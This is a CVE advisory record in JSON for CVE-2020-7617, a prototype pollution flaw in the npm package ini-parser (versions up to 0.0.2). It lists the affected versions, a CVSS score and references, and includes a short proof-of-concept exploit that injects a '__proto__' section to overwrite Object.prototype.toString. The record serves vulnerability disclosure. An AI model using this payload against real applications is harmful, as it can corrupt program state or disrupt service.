cvelist/2020/7xxx/CVE-2020-7617.json

{
    "CVE_data_meta": {
        "ASSIGNER": "report@snyk.io",
        "ID": "CVE-2020-7617",
        "STATE": "PUBLIC",
        "TITLE": "Prototype Pollution"
    },
    "affects": {
        "vendor": {
            "vendor_data": [
                {
                    "product": {
                        "product_data": [
                            {
                                "product_name": "ini-parser",
                                "version": {
                                    "version_data": [
                                        {
                                            "version_affected": "<=",
                                            "version_value": "0.0.2"
                                        }
                                    ]
                                }
                            }
                        ]
                    },
                    "vendor_name": "rawiroaisen"
                }
            ]
        }
    },
    "credit": [
        {
            "lang": "eng",
            "value": "JHU System Security Lab"
        }
    ],
    "data_format": "MITRE",
    "data_type": "CVE",
    "data_version": "4.0",
    "description": {
        "description_data": [
            {
                "lang": "eng",
                "value": "ini-parser through 0.0.2 is vulnerable to Prototype Pollution.The library could be tricked into adding or modifying properties of Object.prototype using a '__proto__' payload."
            }
        ]
    },
    "exploit": [
        {
            "lang": "eng",
            "value": "var a = require(\"ini-parser\");\na.parse('[__proto__]\\ntoString=JHU');\nconsole.log({}.toString);"
        }
    ],
    "generator": {
        "engine": "Vulnogram 0.0.9"
    },
    "impact": {
        "cvss": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "LOW",
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
            "version": "3.1"
        }
    },
    "problemtype": {
        "problemtype_data": [
            {
                "description": [
                    {
                        "lang": "eng",
                        "value": "Prototype Pollution"
                    }
                ]
            }
        ]
    },
    "references": {
        "reference_data": [
            {
                "refsource": "MISC",
                "url": "https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14",
                "name": "https://github.com/rawiroaisen/node-ini-parser/blob/master/index.js#L14"
            },
            {
                "refsource": "MISC",
                "url": "https://snyk.io/vuln/SNYK-JS-INIPARSER-564122",
                "name": "https://snyk.io/vuln/SNYK-JS-INIPARSER-564122"
            }
        ]
    },
    "source": {
        "discovery": "UNKNOWN"
    }
}